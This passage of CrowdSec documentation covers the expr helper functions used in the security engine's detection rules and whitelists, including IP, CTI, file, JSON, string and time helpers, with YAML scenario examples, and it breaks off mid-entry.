version [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for version ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec --- # Alert An `Alert` is the runtime representation of a bucket overflow. The representation of the object can be found here : [Alert object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#RuntimeAlert) --- # CTI helpers ## CTI Helpers[โ€‹](#cti-helpers "Direct link to CTI Helpers") CTI Helper allows to query Crowdsec's CTI API to enhance the engine capabilities. It requires [creating a CTI API Key in the console, as described here](https://docs.crowdsec.net/u/console/ip_reputation/intro.md). The CTI API Key must be present in the `api.cti` section of the configuration file: YAMLCOPY ``` api: cti: #The API key you got from the console key: #How long should CTI lookups be kept in cache cache_timeout: 60m #How many items can we keep in cache cache_size: 50 enabled: true log_level: info|debug|trace client: insecure_skip_verify: false ... server: listen_uri: 127.0.0.1:8080 ... ``` ### `CrowdsecCTI(string) SmokeItem`[โ€‹](#crowdsecctistring-smokeitem "Direct link to crowdsecctistring-smokeitem") Returns the CTI information associated with the provided IP address. The returned object is of type [`SmokeItem`](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/cticlient#SmokeItem), and exposes a few convenience helpers: #### `SmokeItem.GetAttackDetails() []string`[โ€‹](#smokeitemgetattackdetails-string "Direct link to smokeitemgetattackdetails-string") Returns the list of the scenarios most triggered by the given IP. YAMLCOPY ``` "crowdsecurity/ssh-bf" in CrowdsecCTI("X.X.X.X").GetAttackDetails() ``` #### `SmokeItem.GetBackgroundNoiseScore() int`[โ€‹](#smokeitemgetbackgroundnoisescore-int "Direct link to smokeitemgetbackgroundnoisescore-int") Returns the background noise score associated to the given IP, from a scale of 0 (not noisy) to 10 (extremely noisy). #### `SmokeItem.GetBehaviors() []string`[โ€‹](#smokeitemgetbehaviors-string "Direct link to smokeitemgetbehaviors-string") Returns the list of [behaviors](https://docs.crowdsec.net/u/cti_api/taxonomy/behaviors.md) associated to the IP. The list of behaviors is derived from the scenarios the IP triggered. #### `SmokeItem.GetFalsePositives() []string`[โ€‹](#smokeitemgetfalsepositives-string "Direct link to smokeitemgetfalsepositives-string") Returns the list of eventual [false positive categories](https://docs.crowdsec.net/u/cti_api/taxonomy/false_positives.md) associatted to the IP. #### `SmokeItem.GetMaliciousnessScore() float32`[โ€‹](#smokeitemgetmaliciousnessscore-float32 "Direct link to smokeitemgetmaliciousnessscore-float32") Returns the maliciousness score of the IP, from a scale of 1 (very malicious) to 0 (unknown). If the IP is part of the fire blocklist, the score is "1", otherwise it is computed based on the activity score of the IP over the previous day. #### `SmokeItem.IsFalsePositive() bool`[โ€‹](#smokeitemisfalsepositive-bool "Direct link to smokeitemisfalsepositive-bool") Returns true if the IP is flagged as being a false positive. #### `SmokeItem.IsPartOfCommunityBlocklist() bool`[โ€‹](#smokeitemispartofcommunityblocklist-bool "Direct link to smokeitemispartofcommunityblocklist-bool") Returns true if the IP is currently in the community blocklist. --- # Decision A `Decision` is the runtime representation of a bucket overflow consequence : an action being taken against an IP, a Range, a User etc. The representation of the object can be found here : [Decision object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/models#Decision) Those objects are not meant to be manipulated directly by parsers and such, but rather be consumed by the bouncers via the Local API. --- # Introduction An `Event` is the runtime representation of an item being processed by crowdsec. It can represent: * a Log line being parsed: `Type` is set to `log`, and `Line`, `Parsed` and `Meta` are populated * an appsec rule match (`Appsec` holds the WAF rule match info) * an overflow being reprocessed (`Overflow` is used) The `Event` object is modified by parsers, scenarios, and passed along. [The representation of the object can be found here : Event object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#Event). ## Event Object : Log Line[โ€‹](#event-object--log-line "Direct link to Event Object : Log Line") When `Event` is a log line, `evt.GetType()` returns `log`, and the following fields are used: * `Meta` and `Parsed` maps are holding parsing results. * `Line` holds the representation of the original Log line. ## Event Object : Overflow[โ€‹](#event-object--overflow "Direct link to Event Object : Overflow") When `Event` is an overflow being reprocessed (`reprocess: true` in the originating scenario), `evt.GetType()` returns `appsec`, and [the `Overflow` object is used.](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#RuntimeAlert) ## Event Object : Appsec[โ€‹](#event-object--appsec "Direct link to Event Object : Appsec") When `Event` is an event from the WAF/Appsec engine, `evt.GetType()` returns `appsec`, and [the `Appsec` field](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#AppsecEvent) is used, [more specifically `Appsec.MatchedRules`.](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#MatchedRules) ## Event Methods[โ€‹](#event-methods "Direct link to Event Methods") ## Logs & Alerts Helpers[โ€‹](#logs--alerts-helpers "Direct link to Logs & Alerts Helpers") ### `Event.Time`[โ€‹](#eventtime "Direct link to eventtime") The `event` object holds a `Time` field that is set to the date of the event (in time-machine mode) or the time of event acquisition (in live mode). As it is a golang's `time.Time` object, [all the time helpers are available](https://pkg.go.dev/time#Time), but only a few are showcased here. #### `Event.Time.Hour() int`[โ€‹](#eventtimehour-int "Direct link to eventtimehour-int") Returns the hour of the day of the event. > `filter: "evt.Meta.log_type == '...' && (evt.Time.Hour() >= 20 || evt.Time.Hour() < 6)` Will detect if the event happened between 8pm and 6am (NWO). #### `Event.Time.Weekday().String() string`[โ€‹](#eventtimeweekdaystring-string "Direct link to eventtimeweekdaystring-string") Returns the day of the week as a string (`Monday`, `Tuesday` etc.). > `filter: "evt.Meta.log_type == '...' && evt.Time.Weekday().String() in ['Saturday', 'Sunday']` Will detect if the event happend over the weekend (NWD). ### `GetMeta(Key) Value`[โ€‹](#getmetakey-value "Direct link to getmetakey-value") Returns the first value for the `Key` Meta if it exists in the event. > `evt.GetMeta("foobar")` ### `SetMeta(key, value) bool`[โ€‹](#setmetakey-value-bool "Direct link to setmetakey-value-bool") Sets the value of `key` to `value` in the Meta map. > `evt.SetMeta('foobar', 'toto)` ### `GetType() String`[โ€‹](#gettype-string "Direct link to gettype-string") Returns the type of event, `overflow`, `appsec` or `log`. > `evt.GetType() in ["log", "appsec"]` ### `ParseIPSources() []net.IP`[โ€‹](#parseipsources-netip "Direct link to parseipsources-netip") Returns the list of IPs attached to the event, for both `overflow` and `log` type. ### `SetParsed(key, value) bool`[โ€‹](#setparsedkey-value-bool "Direct link to setparsedkey-value-bool") Sets the value of `key` to `value` in the Parsed map. ## Appsec Helpers[โ€‹](#appsec-helpers "Direct link to Appsec Helpers") If the `Event` is the result of a rule being, matched, `Event.Appsec` is present. ### `Appsec.GetVar(name) value`[โ€‹](#appsecgetvarname-value "Direct link to appsecgetvarname-value") Returns the `value` of the Appsec var `name`. > `evt.Appsec.GetVar("foobar")` ### `Appsec.MatchedRules`[โ€‹](#appsecmatchedrules "Direct link to appsecmatchedrules") `MatchedRules` is the list of rules that matched in the HTTP Request. It is an array of `map`, and each entry contains the following keys: * `id`, `name`, `msg`, `rule_type`, `tags`, `file`, `confidence`, `revision`, `secmark`, `accuracy`, `severity`, `kind` > `evt.Appsec.MatchedRules` and use below functions Various filtering methods are available: * `MatchedRules.ByAccuracy(accuracy string) MatchedRules` * `MatchedRules.ByDisruptiveness(is bool) MatchedRules` * `MatchedRules.ByID(id int) MatchedRules` * `MatchedRules.ByKind(kind string) MatchedRules` * `MatchedRules.BySeverity(severity string) MatchedRules` * `MatchedRules.ByTag(match string) MatchedRules` * `MatchedRules.ByTagRx(rx string) MatchedRules` * `MatchedRules.ByTags(match []string) MatchedRules` * `MatchedRules.GetField(field Field) []interface{}` * `MatchedRules.GetHash() string` * `MatchedRules.GetMatchedZones() []string` * `MatchedRules.GetMethod() string` * `MatchedRules.GetName() string` * `MatchedRules.GetRuleIDs() []int` * `MatchedRules.GetURI() string` * `MatchedRules.GetVersion() string` * `MatchedRules.Kinds() []string` Example usage would be to have `on_match` rules to alter the WAF remediation: YAMLCOPY ``` on_match: - filter: | any( evt.Appsec.MatchedRules, #.name == "crowdsecurity/vpatch-env-access") and ... apply: - SetRemediation("allow") ``` You can view detailed [`MatchedRules` doc here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#MatchedRules). ## Source specific helpers[โ€‹](#source-specific-helpers "Direct link to Source specific helpers") ### `Source.GetValue() string`[โ€‹](#sourcegetvalue-string "Direct link to sourcegetvalue-string") Return the `Source.Value` field value of a `Source`. ### `Source.GetScope() string`[โ€‹](#sourcegetscope-string "Direct link to sourcegetscope-string") Return the `Source.Scope` field value of `Source` (`ip`, `range` ...) --- # File helpers info File helpers do not load the file into memory, but rather use a cache on initial startup to avoid loading the same file multiple times. Please see [the data property](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#data) on how to configure the Security Engine to load the file. ### `File(FileName) []string`[โ€‹](#filefilename-string "Direct link to filefilename-string") Returns the content of `FileName` as an array of string, while providing cache mechanism. > `evt.Parsed.some_field in File('some_patterns.txt')` > `any(File('rdns_seo_bots.txt'), { evt.Enriched.reverse_dns endsWith #})` ### `RegexpInFile(StringToMatch, FileName) bool`[โ€‹](#regexpinfilestringtomatch-filename-bool "Direct link to regexpinfilestringtomatch-filename-bool") Returns `true` if the `StringToMatch` is matched by one of the expressions contained in `FileName` (uses RE2 regexp engine). > `RegexpInFile( evt.Enriched.reverse_dns, 'my_legit_seo_whitelists.txt')` ## Map file helpers[โ€‹](#map-file-helpers "Direct link to Map file helpers") Map file helpers work with JSON-lines files loaded with `type: map` in the [data property](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#data). Each line in the file is a JSON object with three required fields: * `pattern`: the value to match against * `tag`: the label returned on match * `type`: one of `equals` (exact match), `contains` (substring match), or `regex` (RE2 regular expression) Example map file: JSONCOPY ``` {"pattern": "/wp-admin/", "tag": "WordPress", "type": "contains"} {"pattern": "/specific/endpoint.php", "tag": "SpecificApp", "type": "equals"} {"pattern": "/wp-content/plugins/[^/]+/readme\\.txt", "tag": "WordPress-Plugin", "type": "regex"} ``` Comments (lines starting with `#`) and blank lines are ignored. ### `FileMap(FileName) []map[string]string`[โ€‹](#filemapfilename-mapstringstring "Direct link to filemapfilename-mapstringstring") Returns the content of `FileName` as an array of maps. Each element is a map with the keys from the JSON object (`pattern`, `tag`, `type`). > `FileMap('app_signatures.json')` > `any(FileMap('app_signatures.json'), { #.tag == 'WordPress' })` ### `LookupFile(StringToMatch, FileName) string`[โ€‹](#lookupfilestringtomatch-filename-string "Direct link to lookupfilestringtomatch-filename-string") Searches the map file `FileName` for a match against `StringToMatch`. Returns the `tag` of the first matching entry, or an empty string if no match is found. Matching is performed in priority order: 1. **Exact match** (`equals` entries) โ€” O(1) hash map lookup 2. **Substring match** (`contains` entries) โ€” using [Aho-Corasick](https://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_algorithm) automaton 3. **Regex match** (`regex` entries) โ€” RE2 regular expressions > `LookupFile(evt.Parsed.request, 'app_signatures.json')` > `LookupFile(evt.Parsed.request, 'app_signatures.json') != ''` --- # Introduction > [antonmedv/expr](https://github.com/antonmedv/expr) - Expression evaluation engine for Go: fast, non-Turing complete, dynamic typing, static typing Several places of CrowdSec's configuration use [expr](https://github.com/antonmedv/expr), notably : * [Filters](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md#filter) that are used to determine events eligibility in parsers, scenarios and profiles * [Statics](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md#statics) use expr in the `expression` directive, to compute complex values * [Whitelists](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) rely on `expression` directive to allow more complex whitelists filters * [Profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md) rely on `filters` directives to find matching profiles To learn more about [expr](https://github.com/expr-lang/expr) syntax, [check the official documentation of the project](https://expr-lang.org/docs/language-definition). When CrowdSec relies on `expr`, a context is provided to let the expression access relevant objects : * `evt.` is the representation of the current event and is the most relevant object * in [profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md), alert is accessible via the `Alert` object If the `debug` is enabled (in the scenario or parser where expr is used), additional debug will be displayed regarding evaluated expressions. --- # IP helpers ## IP Helpers[โ€‹](#ip-helpers "Direct link to IP Helpers") ### `IpInRange(IPStr, RangeStr) bool`[โ€‹](#ipinrangeipstr-rangestr-bool "Direct link to ipinrangeipstr-rangestr-bool") Returns true if the IP `IPStr` is contained in the IP range `RangeStr` (uses `net.ParseCIDR`) > `IpInRange("1.2.3.4", "1.2.3.0/24")` ### `IpToRange(IPStr, MaskStr) IpStr`[โ€‹](#iptorangeipstr-maskstr-ipstr "Direct link to iptorangeipstr-maskstr-ipstr") Returns the subnet of the IP with the request cidr size. It is intended for scenarios taking actions against the range of an IP, not the IP itself : YAMLCOPY ``` type: leaky ... scope: type: Range expression: IpToRange(evt.Meta.source_ip, "/16") ``` > `IpToRange("192.168.0.1", "24")` returns `192.168.0.0/24` > `IpToRange("192.168.42.1", "16")` returns `192.168.0.0/16` ### `IsIP(ip string) bool`[โ€‹](#isipip-string-bool "Direct link to isipip-string-bool") Returns true if it's a valid IP (v4 or v6). > `IsIP("2001:0db8:85a3:0000:0000:8a2e:0370:7334")` > `IsIP("1.2.3.4")` > `IsIP(Alert.GetValue())` ### `IsIPV4(ip string) bool`[โ€‹](#isipv4ip-string-bool "Direct link to isipv4ip-string-bool") Returns true if it's a valid IPv4. > `IsIPV4("1.2.3.4")` > `IsIPV4(Alert.GetValue())` ### `IsIPV6(ip string) bool`[โ€‹](#isipv6ip-string-bool "Direct link to isipv6ip-string-bool") Returns true if it's a valid IPv6. > `IsIPV6("2001:0db8:85a3:0000:0000:8a2e:0370:7334")` > `IsIPV6(Alert.GetValue())` ### `LookupHost(host string) []string`[โ€‹](#lookuphosthost-string-string "Direct link to lookuphosthost-string-string") warning * Only use this function within postoverflows as it is can be very slow * Note if you whitelist a domain behind a CDN provider, all domains using the same CDN provider will also be whitelisted * Do not use variables within the function as this can be untrusted user input Returns \[]string ip addresses that resolvable to the hostname EG: `LookupHost('mydomain.tld') => ['1.2.3.4', '5.6.7.8']` YAMLCOPY ``` name: me/my_cool_whitelist description: lets whitelist our own IP whitelist: reason: dont ban my IP expression: - evt.Overflow.Alert.Source.IP in LookupHost('mydomain.tld') # This can be useful when you have a dynamic ip and use dynamic DNS providers ``` ### `GeoIPEnrich(ip string) *geoip2.City`[โ€‹](#geoipenrichip-string-geoip2city "Direct link to geoipenrichip-string-geoip2city") Performs a geo lookup for IP and returns the associated [geoip2.City](https://pkg.go.dev/github.com/oschwald/geoip2-golang#City) object. ### `GeoIPASNEnrich(ip string) *geoip2.ASN`[โ€‹](#geoipasnenrichip-string-geoip2asn "Direct link to geoipasnenrichip-string-geoip2asn") Performs a geo lookup for IP and returns the associated [geoip2.ASN](https://pkg.go.dev/github.com/oschwald/geoip2-golang#ASN) object. ### `GeoIPRangeEnrich(ip string) net.IPNet`[โ€‹](#geoiprangeenrichip-string-netipnet "Direct link to geoiprangeenrichip-string-netipnet") Returns the `net.IPNet` object associated to the IP if possible. --- # JSON/XML/KV Helpers ## JSON Helpers[โ€‹](#json-helpers "Direct link to JSON Helpers") ### `UnmarshalJSON(jsonBlob string, out map[string]interface{}, targetKey string)`[โ€‹](#unmarshaljsonjsonblob-string-out-mapstringinterface-targetkey-string "Direct link to unmarshaljsonjsonblob-string-out-mapstringinterface-targetkey-string") `UnmarshalJSON` allows to unmarshal a full json object into the `out` map, under the `targetKey` key. In most situation, the `evt.Unmarshaled` field will be used to store the unmarshaled json object. YAMLCOPY ``` filter: | evt.Parsed.program == "my-program" statics: - parsed: json_parsed expression: UnmarshalJSON(evt.Line.Raw, evt.Unmarshaled, "message") - meta: user expression: evt.Unmarshaled.message.user ``` ### `JsonExtract(JsonBlob, FieldName) string`[โ€‹](#jsonextractjsonblob-fieldname-string "Direct link to jsonextractjsonblob-fieldname-string") Extract the `FieldName` from the `JsonBlob` and returns it as a string. (binding on [jsonparser](https://github.com/buger/jsonparser/)) > `JsonExtract(evt.Parsed.some_json_blob, "foo.bar[0].one_item")` ### `JsonExtractSlice(JsonBlob, FieldName) []interface{}`[โ€‹](#jsonextractslicejsonblob-fieldname-interface "Direct link to jsonextractslicejsonblob-fieldname-interface") Extract the JSON array in `FieldName` from `JsonBlob` and returns it as a go slice. Returns nil if the field does not exist or is not an array. > `JsonExtractSlice(evt.Parsed.message, "params")[0]['value']['login']` > `any(JsonExtractSlice(evt.Parsed.message, "params"), {.key == 'user' && .value.login != ''})` ### `JsonExtractObject(JsonBlob, FieldName) map[string]interface{}`[โ€‹](#jsonextractobjectjsonblob-fieldname-mapstringinterface "Direct link to jsonextractobjectjsonblob-fieldname-mapstringinterface") Extract the JSON object in `FieldName` from `JsonBlob` and returns it as a go map. Returns `nil` if the field does not exist or does is not an object. > `JsonExtractObject(evt.Parsed.message, "params.user")["login"]` ### `ToJsonString(Obj) string`[โ€‹](#tojsonstringobj-string "Direct link to tojsonstringobj-string") Returns the JSON representation of `obj` Returns an empty string if `obj` cannot be serialized to JSON. > `ToJsonString(JsonExtractSlice(evt.Parsed.message, "params"))` ## XML Helpers[โ€‹](#xml-helpers "Direct link to XML Helpers") ### `XMLGetAttributeValue(xmlString string, path string, attributeName string) string`[โ€‹](#xmlgetattributevaluexmlstring-string-path-string-attributename-string-string "Direct link to xmlgetattributevaluexmlstring-string-path-string-attributename-string-string") Returns the value of `attribute` in the XML node identified by the XPath query `path`. > `XMLGetAttributeValue(evt.Line.Raw, "/Event/System[1]/Provider", "Name")` ### `XMLGetNodeValue(xmlString string, path string) string`[โ€‹](#xmlgetnodevaluexmlstring-string-path-string-string "Direct link to xmlgetnodevaluexmlstring-string-path-string-string") Returns the content of the XML node identified by the XPath query `path`. > `XMLGetNodeValue(evt.Line.Raw, "/Event/System[1]/EventID")` ## Key-Value Helpers[โ€‹](#key-value-helpers "Direct link to Key-Value Helpers") ### `ParseKV(kvString string, out map[string]interface{}, targetKey string)`[โ€‹](#parsekvkvstring-string-out-mapstringinterface-targetkey-string "Direct link to parsekvkvstring-string-out-mapstringinterface-targetkey-string") Parse a key-value string (such as `key=value foo=bar fu="a string"` ) into the `out` map, under the `targetKey` key. In most situation, the `evt.Unmarshaled` field will be used to store the object. YAMLCOPY ``` filter: | evt.Parsed.program == "my-program" statics: - parsed: kv_parsed expression: ParseKV(evt.Line.Raw, evt.Unmarshaled, "message") - meta: user expression: evt.Unmarshaled.message.user ``` --- # LibInjection helpers ### `LibInjectionIsSQLI(str) bool`[โ€‹](#libinjectionissqlistr-bool "Direct link to libinjectionissqlistr-bool") Use [libinjection](https://github.com/libinjection/libinjection) to detect SQL injection in `str`. > `LibInjectionIsSQLI(evt.Parsed.http_args)` ### `LibInjectionIsXSS(str) bool`[โ€‹](#libinjectionisxssstr-bool "Direct link to libinjectionisxssstr-bool") Use [libinjection](https://github.com/libinjection/libinjection) to detect XSS in `str`. > `LibInjectionIsXSS(evt.Parsed.http_args)` --- # Other helpers ## Time Helpers[โ€‹](#time-helpers "Direct link to Time Helpers") ### `TimeNow() string`[โ€‹](#timenow-string "Direct link to timenow-string") Return RFC3339 formatted time > `TimeNow()` ### `ParseUnix(unix string) string`[โ€‹](#parseunixunix-string-string "Direct link to parseunixunix-string-string") TEXTCOPY ``` ParseUnix("1672239773.3590894") -> "2022-12-28T15:02:53Z" ParseUnix("1672239773") -> "2022-12-28T15:02:53Z" ParseUnix("notatimestamp") -> "" ``` Parses unix timestamp string and returns RFC3339 formatted time ### `AverageInterval(timestamps []time.Time) time.Duration`[โ€‹](#averageintervaltimestamps-timetime-timeduration "Direct link to averageintervaltimestamps-timetime-timeduration") Calculates the average interval (time duration) between consecutive timestamps in a slice. **Use case:** Detecting consistent timing patterns over time, such as slow brute-force attacks or rate anomalies. **Example:** YAMLCOPY ``` type: conditional name: me/slow-http debug: true description: "Detect slow HTTP requests returning 404" filter: "evt.Meta.log_type in ['http_access-log', 'http_error-log'] && evt.Parsed.static_ressource == 'false' && evt.Parsed.verb in ['GET', 'HEAD']" groupby: "evt.Meta.source_ip + '/' + evt.Parsed.target_fqdn" capacity: -1 condition: | len(queue.Queue) >= 3 && AverageInterval(map(queue.Queue[-3:], { #.Time })) > duration("5m") && all(queue.Queue, #.Meta.http_status == '404') leakspeed: 1h labels: remediation: true ``` In this example, we check if the queue has at least 3 items, compute the average interval between the last 3 requests, and trigger if the average time between requests exceeds 5 minutes and all responses are 404s (indicating a slow scan). **Notes:** * Timestamps are automatically sorted internally for correctness * Requires at least two timestamps * Useful for detecting consistent behavior patterns over time ### `MedianInterval(timestamps []time.Time) time.Duration`[โ€‹](#medianintervaltimestamps-timetime-timeduration "Direct link to medianintervaltimestamps-timetime-timeduration") Calculates the median interval (time duration) between consecutive timestamps in a slice. **Use case:** Detecting typical timing patterns when intervals vary widely. The median is more robust against outliers than the average, making it ideal for identifying timing anomalies in irregular patterns. **Example:** YAMLCOPY ``` type: conditional name: me/slow-http-median debug: true description: "Detect slow HTTP requests returning 404" filter: "evt.Meta.log_type in ['http_access-log', 'http_error-log'] && evt.Parsed.static_ressource == 'false' && evt.Parsed.verb in ['GET', 'HEAD']" groupby: "evt.Meta.source_ip + '/' + evt.Parsed.target_fqdn" capacity: -1 condition: | len(queue.Queue) >= 5 && MedianInterval(map(queue.Queue[-5:], { #.Time })) > duration("10m") && all(queue.Queue, #.Meta.http_status == '404') leakspeed: 1h labels: remediation: true ``` In this example, we check if there are at least 5 events in the queue, calculate the median interval between the last 5 requests, and trigger if the median interval exceeds 10 minutes and all responses are 404s. **Notes:** * Timestamps are automatically sorted internally for correctness * Handles both even and odd numbers of intervals correctly * Requires at least two timestamps * More robust against outliers compared to `AverageInterval` * Useful for capturing typical timing patterns in skewed data ## Stash Helpers[โ€‹](#stash-helpers "Direct link to Stash Helpers") ### `GetFromStash(cache string, key string)`[โ€‹](#getfromstashcache-string-key-string "Direct link to getfromstashcache-string-key-string") `GetFromStash` retrieves the value for `key` in the named `cache`. The cache are usually populated by [parser's stash section](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md#stash). An empty string if the key doesn't exist (or has been evicted), and error is raised if the `cache` doesn't exist. ## Others[โ€‹](#others "Direct link to Others") ### `IsIPV4(ip string) bool`[โ€‹](#isipv4ip-string-bool "Direct link to isipv4ip-string-bool") Returns true if it's a valid IPv4. > `IsIPV4("192.168.1.1")` > `IsIPV4(Alert.GetValue())` ### `IsIP(ip string) bool`[โ€‹](#isipip-string-bool "Direct link to isipip-string-bool") Returns true if it's a valid IP (v4 or v6). > `IsIP("2001:0db8:85a3:0000:0000:8a2e:0370:7334")` > `IsIP("192.168.1.1")` > `IsIP(Alert.GetValue())` ### `GetDecisionsCount(value string) int`[โ€‹](#getdecisionscountvalue-string-int "Direct link to getdecisionscountvalue-string-int") Returns the number of existing decisions in the database with the same value. This can return expired decisions if they have not been flushed yet. > `GetDecisionsCount("192.168.1.1")` > `GetDecisionsCount(Alert.GetValue())` ### `GetDecisionsSinceCount(value string, since string) int`[โ€‹](#getdecisionssincecountvalue-string-since-string-int "Direct link to getdecisionssincecountvalue-string-since-string-int") Returns the number of existing decisions in the database with the same value since duration string (valid time units are "ns", "us" (or "ยตs"), "ms", "s", "m", "h".). This can return expired decisions if they have not been flushed yet. > `GetDecisionsSinceCount("192.168.1.1", "7h")` > `GetDecisionsSinceCount(Alert.GetValue(), "30min")` ### `GetActiveDecisionsCount(value string) int`[โ€‹](#getactivedecisionscountvalue-string-int "Direct link to getactivedecisionscountvalue-string-int") Returns the number of active decisions in the database with the same value. > `GetActiveDecisionsCount(Alert.GetValue())` ### `GetActiveDecisionsTimeLeft(value string) time.Duration`[โ€‹](#getactivedecisionstimeleftvalue-string-timeduration "Direct link to getactivedecisionstimeleftvalue-string-timeduration") Returns the time left for the longest decision associated with the value. The returned value type is `time.Duration`, so you can use all the [time.Duration methods](https://pkg.go.dev/time#Duration). > `GetActiveDecisionsTimeLeft(Alert.GetValue())` > \`GetActiveDecisionsTimeLeft(Alert.GetValue()).Hours() > 1" ### `KeyExists(key string, map map[string]interface{}) bool`[โ€‹](#keyexistskey-string-map-mapstringinterface-bool "Direct link to keyexistskey-string-map-mapstringinterface-bool") Return true if the `key` exists in the map. ### `Get(arr []string, index int) string`[โ€‹](#getarr-string-index-int-string "Direct link to getarr-string-index-int-string") Returns the index'th entry of arr, or `""`. ### `Distance(lat1 string, long1 string, lat2 string, long2 string) float64`[โ€‹](#distancelat1-string-long1-string-lat2-string-long2-string-float64 "Direct link to distancelat1-string-long1-string-lat2-string-long2-string-float64") Computes the distance in kilometers between the set of coordinates represented by lat1/long1 and lat2/long2. Designed to implement impossible travel and similar scenarios: YAMLCOPY ``` type: conditional name: demo/impossible-travel description: "test" filter: "evt.Meta.log_type == 'fake_ok'" groupby: evt.Meta.user capacity: -1 condition: | len(queue.Queue) >= 2 and Distance(queue.Queue[-1].Enriched.Latitude, queue.Queue[-1].Enriched.Longitude, queue.Queue[-2].Enriched.Latitude, queue.Queue[-2].Enriched.Longitude) > 100 leakspeed: 3h labels: type: fraud ``` Notes: * Will return `0` if either set of coordinates is nil (ie. IP couldn't be geoloc) * Assumes that the earth is spherical and uses the haversine formula. ### `Hostname() string`[โ€‹](#hostname-string "Direct link to hostname-string") Returns the hostname of the machine. ## Alert specific helpers[โ€‹](#alert-specific-helpers "Direct link to Alert specific helpers") ### `Alert.Remediation bool`[โ€‹](#alertremediation-bool "Direct link to alertremediation-bool") Is `true` if the alert asks for a remediation. Will be true for alerts from scenarios with `remediation: true` flag. Will be false for alerts from manual `cscli decisions add` commands (as they come with their own decision). ### `Alert.GetScenario() string`[โ€‹](#alertgetscenario-string "Direct link to alertgetscenario-string") Returns the name of the scenario that triggered the alert. ### `Alert.GetScope() string`[โ€‹](#alertgetscope-string "Direct link to alertgetscope-string") Returns the scope of an alert. Most common value is `Ip`. `Country` and `As` are generally used for more distributed attacks detection/remediation. ### `Alert.GetValue() string`[โ€‹](#alertgetvalue-string "Direct link to alertgetvalue-string") Returns the value of an alert. field value of a `Source`, most common value can be a IPv4, IPv6 or other if the Scope is different than `Ip`. ### `Alert.GetSources() []string`[โ€‹](#alertgetsources-string "Direct link to alertgetsources-string") Return the list of IP addresses in the alert sources. ### `Alert.GetEventsCount() int32`[โ€‹](#alertgeteventscount-int32 "Direct link to alertgeteventscount-int32") Return the number of events in the bucket. --- # Strings helpers ## Strings[โ€‹](#strings "Direct link to Strings") ### `Atof(string) float64`[โ€‹](#atofstring-float64 "Direct link to atofstring-float64") Parses a string representation of a float number to an actual float number (binding on `strconv.ParseFloat`) > `Atof(evt.Parsed.tcp_port)` ### `Upper(string) string`[โ€‹](#upperstring-string "Direct link to upperstring-string") Returns the uppercase version of the string > `Upper("yop")` ### `Lower(string) string`[โ€‹](#lowerstring-string "Direct link to lowerstring-string") Returns the lowercase version of the string > `Lower("YOP")` ### `ParseUri(string) map[string][]string`[โ€‹](#parseuristring-mapstringstring "Direct link to parseuristring-mapstringstring") Parses an URI into a map of string list. `ParseURI("/foo?a=1&b=2")` would return : TEXTCOPY ``` { "a": []string{"1"}, "b": []string{"2"} } ``` ### `PathUnescape(string) string`[โ€‹](#pathunescapestring-string "Direct link to pathunescapestring-string") `PathUnescape` does the inverse transformation of PathEscape, converting each 3-byte encoded substring of the form "%AB" into the hex-decoded byte 0xAB. It returns an error if any % is not followed by two hexadecimal digits. ### `PathEscape(string) string`[โ€‹](#pathescapestring-string "Direct link to pathescapestring-string") `PathEscape` escapes the string so it can be safely placed inside a URL path segment, replacing special characters (including /) with %XX sequences as needed. ### `QueryUnescape(string) string`[โ€‹](#queryunescapestring-string "Direct link to queryunescapestring-string") `QueryUnescape` does the inverse transformation of QueryEscape, converting each 3-byte encoded substring of the form "%AB" into the hex-decoded byte 0xAB. It returns an error if any % is not followed by two hexadecimal digits. ### `QueryEscape(string) string`[โ€‹](#queryescapestring-string "Direct link to queryescapestring-string") `QueryEscape` escapes the string so it can be safely placed inside a URL query. ### `ExtractQueryParam(query string, param string) []string`[โ€‹](#extractqueryparamquery-string-param-string-string "Direct link to extractqueryparamquery-string-param-string-string") `ExtractQueryParam` extract the `param` parameter value from the URL query `query` and returns the list of values. > `any(ExtractQueryParam("/foo?id=1&b=2", "id"), { # == "1" })` returns true if at least one of the `id` parameter value is equal to `1` ### `Sprintf(format string, a ...interface{}) string`[โ€‹](#sprintfformat-string-a-interface-string "Direct link to sprintfformat-string-a-interface-string") [Official doc](https://pkg.go.dev/fmt#Sprintf) : Sprintf formats according to a format specifier and returns the resulting string. > `Sprintf('%dh', 1)` returns `1h` ### `Match(pattern string, object string) bool`[โ€‹](#matchpattern-string-object-string-bool "Direct link to matchpattern-string-object-string-bool") `Match` returns true if the object string matches the pattern. Pattern only supports wildcard : * `*` multi-character wildcard (including zero-length) * `?` single character wildcard > `Match('to?o*', 'totoooooo')` returns `true` ### `Fields(s string) []string`[โ€‹](#fieldss-string-string "Direct link to fieldss-string-string") `Fields` splits the string s around each instance of one or more consecutive white space characters, as defined by unicode.IsSpace, returning a slice of substrings of s or an empty slice if s contains only white space. ### `Index(s string, substr string) int`[โ€‹](#indexs-string-substr-string-int "Direct link to indexs-string-substr-string-int") Index returns the index of the first instance of substr in s, or -1 if substr is not present in s. ### `IndexAny(s string, chars string) 